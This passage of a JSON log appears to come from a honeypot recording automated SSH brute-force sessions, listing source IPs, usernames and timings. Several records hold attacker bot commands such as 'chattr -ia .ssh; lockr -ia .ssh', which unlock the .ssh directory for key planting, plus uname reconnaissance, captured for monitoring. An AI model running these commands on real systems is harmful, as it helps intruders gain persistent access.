  "id": "9cb710b9-e5a4-416f-bd72-06aa8320edb2",
  "name": "lively-rambling-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 36786,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:48:18.236034+00:00",
  "ended_at": "2026-08-27T11:48:19.018264+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c33d41ec-9a53-4642-90c0-8444c5f69921",
  "name": "restless-clever-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 51718,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:48:15.883151+00:00",
  "ended_at": "2026-08-27T11:48:16.713675+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dfe7a811-f40b-493d-b3cc-55b640905e9c",
  "name": "bitter-quaint-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59240,
  "username": "suhail",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:48:03.354608+00:00",
  "ended_at": "2026-08-27T11:48:05.369175+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "00030452-c690-4616-bbdc-5492e2710ee0",
  "name": "graceful-glacial-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 37640,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 347,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:48:01.797262+00:00",
  "ended_at": "2026-08-27T11:48:03.011742+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2183
 },
 {
  "id": "12e0e4c4-4a0f-405e-ac80-b7263813e4ab",
  "name": "woven-grassy-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59230,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:48:00.524392+00:00",
  "ended_at": "2026-08-27T11:48:02.432212+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "643fabba-0c38-40d2-8dcc-19eb4c385720",
  "name": "gritty-brisk-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37664,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:47:45.270774+00:00",
  "ended_at": "2026-08-27T11:47:47.243425+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dd6a2939-0007-41cb-bd63-1f74977a05b8",
  "name": "wooded-eager-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37654,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:47:42.839805+00:00",
  "ended_at": "2026-08-27T11:47:44.615959+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8f2732d6-d038-4dc0-a35d-551ca9dc0e00",
  "name": "western-patient-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 57440,
  "username": "daniel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 288,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:47:33.422639+00:00",
  "ended_at": "2026-08-27T11:47:34.811523+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2155
 },
 {
  "id": "ae484628-f50a-4b60-b94c-163b3c388937",
  "name": "glacial-regal-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 55856,
  "username": "whatsapp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:47:29.864277+00:00",
  "ended_at": "2026-08-27T11:47:31.822564+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2263
 },
 {
  "id": "9a1516df-f6fe-4cd4-9a65-ecac63290dca",
  "name": "primal-sunlit-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 57468,
  "username": "daniel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:47:19.456888+00:00",
  "ended_at": "2026-08-27T11:47:20.304647+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "028fe905-74d9-46c7-8a91-afb28542dcc9",
  "name": "sooty-mossy-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 57454,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:47:18.190325+00:00",
  "ended_at": "2026-08-27T11:47:18.822010+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "62affa1c-68cb-4350-9b0d-6d8deda6a8a7",
  "name": "feathered-zealous-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55862,
  "username": "whatsapp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:47:05.483190+00:00",
  "ended_at": "2026-08-27T11:47:07.307918+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4bbb9650-5cee-4ddc-bb5b-2a8ef7ce827d",
  "name": "ginger-ruddy-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55858,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:47:04.168306+00:00",
  "ended_at": "2026-08-27T11:47:04.960668+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "434e697b-bf5d-4963-aba6-c5cc40e6fb35",
  "name": "restless-bitter-meerkat",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "216.73.216.122",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:46:52.967463+00:00",
  "ended_at": "2026-08-27T12:02:12.360395+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a0c22a29-a291-4eeb-887c-eee06b203738",
  "name": "thawing-vernal-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 33888,
  "username": "server",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 430,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T11:46:19.852718+00:00",
  "ended_at": "2026-08-27T11:46:20.387530+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 736
 },
 {
  "id": "5cde8efb-2e28-4eef-8915-be0e7315f5c5",
  "name": "honest-thawing-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 39746,
  "username": "daniel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:45:57.022104+00:00",
  "ended_at": "2026-08-27T11:45:58.436862+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2133
 },
 {
  "id": "79ebdf76-ed7c-4355-95b7-93cad5300fce",
  "name": "ruddy-solar-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 40406,
  "username": "huser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1303,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:45:43.763868+00:00",
  "ended_at": "2026-08-27T11:45:45.556381+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "d625f9e6-cde4-4ed7-9c27-fa673947f09d",
  "name": "autumn-calm-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 41654,
  "username": "daniel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:42.510788+00:00",
  "ended_at": "2026-08-27T11:45:43.717737+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "890f51df-ffdd-43b5-89aa-d2c10197784d",
  "name": "shifting-leafy-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 41646,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:39.963778+00:00",
  "ended_at": "2026-08-27T11:45:41.857963+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cc4aff71-36c6-4253-bb14-82644f66ca46",
  "name": "snowy-airy-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 39684,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:45:36.791237+00:00",
  "ended_at": "2026-08-27T11:45:38.839540+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "4e206720-f61b-40ef-bd09-5e14bf814593",
  "name": "diligent-earnest-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59210,
  "username": "huser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 447,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:45:30.084868+00:00",
  "ended_at": "2026-08-27T11:45:31.382747+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "b4cea9e1-3b11-4ff1-adaf-d947918878b5",
  "name": "frank-foggy-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 55802,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:45:25.825292+00:00",
  "ended_at": "2026-08-27T11:45:27.889315+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2183
 },
 {
  "id": "8f084af5-a517-4c7c-9d67-80785f31e713",
  "name": "wandering-amiable-peccary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59220,
  "username": "huser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:13.516418+00:00",
  "ended_at": "2026-08-27T11:45:15.099093+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fd81c8c4-bc8e-4c60-9423-d7a48f6504bf",
  "name": "gritty-mighty-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59212,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:11.802648+00:00",
  "ended_at": "2026-08-27T11:45:12.598567+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a718bfe6-3881-4e49-bbc3-9b3e630fedaa",
  "name": "umber-woven-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 39692,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:11.683760+00:00",
  "ended_at": "2026-08-27T11:45:13.541254+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b5e8f38b-6d50-4ae9-8333-9b7007c93415",
  "name": "cosmic-fickle-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 55828,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:10.511008+00:00",
  "ended_at": "2026-08-27T11:45:12.074453+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "20743a92-119a-4dca-b070-ea5b1094c25a",
  "name": "craggy-amiable-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 39688,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:10.090758+00:00",
  "ended_at": "2026-08-27T11:45:11.175958+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ad63b314-b367-4507-a5ee-639c51c8694c",
  "name": "snowy-earnest-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 35996,
  "username": "huser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:09.649453+00:00",
  "ended_at": "2026-08-27T11:45:11.766514+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "11e04557-9c97-4b5f-88fd-1fed273b1584",
  "name": "jagged-crystal-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 55812,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:09.165960+00:00",
  "ended_at": "2026-08-27T11:45:09.926722+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7bca7eef-5b84-4e34-bed0-d7d62c67eb10",
  "name": "sleepy-smooth-goose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 40412,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:45:06.850520+00:00",
  "ended_at": "2026-08-27T11:45:08.193494+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "35d65587-5e48-476d-b292-410e632ac2a8",
  "name": "brisk-vernal-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 52084,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:43:58.000327+00:00",
  "ended_at": "2026-08-27T11:43:59.549429+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2118
 },
 {
  "id": "d11858f1-3fc6-41f1-b66f-9341a91633db",
  "name": "nameless-solemn-woodchuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 52098,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:43:43.276350+00:00",
  "ended_at": "2026-08-27T11:43:44.285001+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "75dd39d6-f1e2-42f3-969b-ed7169a8edbd",
  "name": "emerald-sterling-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 52096,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:43:41.424147+00:00",
  "ended_at": "2026-08-27T11:43:42.362029+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5e05863a-0fc9-4ab3-bf13-5c9511d97cff",
  "name": "jolly-vaulted-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 59374,
  "username": "server",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T11:43:41.313724+00:00",
  "ended_at": "2026-08-27T11:43:42.360630+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 27
 },
 {
  "id": "f0c3c9f2-c326-4b0e-aa47-ce9964411f8b",
  "name": "tangled-gloomy-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 51330,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:43:36.779184+00:00",
  "ended_at": "2026-08-27T11:43:37.774544+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "6d31d880-393f-40cb-bce0-572b4babfd4d",
  "name": "jovial-distant-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 39682,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:43:19.708244+00:00",
  "ended_at": "2026-08-27T11:43:21.106677+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2172
 },
 {
  "id": "aa42d23a-c595-4afe-b3d4-777790706a28",
  "name": "frosty-crystal-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 58274,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:43:16.145795+00:00",
  "ended_at": "2026-08-27T11:43:17.313008+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "814a1289-5831-4062-a221-27828e186434",
  "name": "primal-crisp-ibis",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51344,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:43:14.142807+00:00",
  "ended_at": "2026-08-27T11:43:15.627006+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "74c9d84c-d787-4a46-92ef-2873a8dcb02b",
  "name": "fabled-somber-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 36434,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:43:05.524747+00:00",
  "ended_at": "2026-08-27T11:43:06.358844+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "50f1c376-39ed-48ac-bb75-b1835ff30cf4",
  "name": "cobalt-northern-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 39686,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:43:03.577095+00:00",
  "ended_at": "2026-08-27T11:43:04.945583+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1427ae0c-299a-441f-be36-4cd1f2b5d923",
  "name": "hazel-sandy-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59190,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 456,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:42:48.712893+00:00",
  "ended_at": "2026-08-27T11:42:49.880090+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2291
 },
 {
  "id": "a9d9933a-f24d-47c7-b13f-224b574093e8",
  "name": "icy-patient-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 47686,
  "username": "user14",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 884,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:42:43.634788+00:00",
  "ended_at": "2026-08-27T11:42:45.278090+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2225
 },
 {
  "id": "928eeabd-9391-4fd7-8227-1fdde35b8b8d",
  "name": "lawful-verdant-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59202,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:42:30.743966+00:00",
  "ended_at": "2026-08-27T11:42:31.442384+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f44df70c-3c68-44fd-bc28-3410c805e107",
  "name": "muted-coastal-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59200,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:42:29.130142+00:00",
  "ended_at": "2026-08-27T11:42:29.834233+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1be4dca7-3c2c-426d-8593-2b0c6da56cfc",
  "name": "lofty-pewter-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 43286,
  "username": "user14",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:42:19.987082+00:00",
  "ended_at": "2026-08-27T11:42:21.125002+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0bd8baad-d0b6-4074-b70f-7d8fe8fc83a9",
  "name": "electric-fabled-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 47698,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:42:16.759281+00:00",
  "ended_at": "2026-08-27T11:42:18.363934+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f82edd59-1d77-4e21-aabc-38e643c9955c",
  "name": "steady-emerald-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 42768,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:41:54.297613+00:00",
  "ended_at": "2026-08-27T11:41:55.633851+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2150
 },
 {
  "id": "9eac5760-2272-4284-9c94-36fd1e49ffbb",
  "name": "umber-twilight-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 44376,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:41:40.284750+00:00",
  "ended_at": "2026-08-27T11:41:41.525679+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "c6f8436e-89fb-4634-9908-28427bbc3f72",
  "name": "quaint-cosmic-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 42790,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:41:38.616289+00:00",
  "ended_at": "2026-08-27T11:41:39.691768+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d1699b24-76cd-4ef6-8162-c818df8444ff",
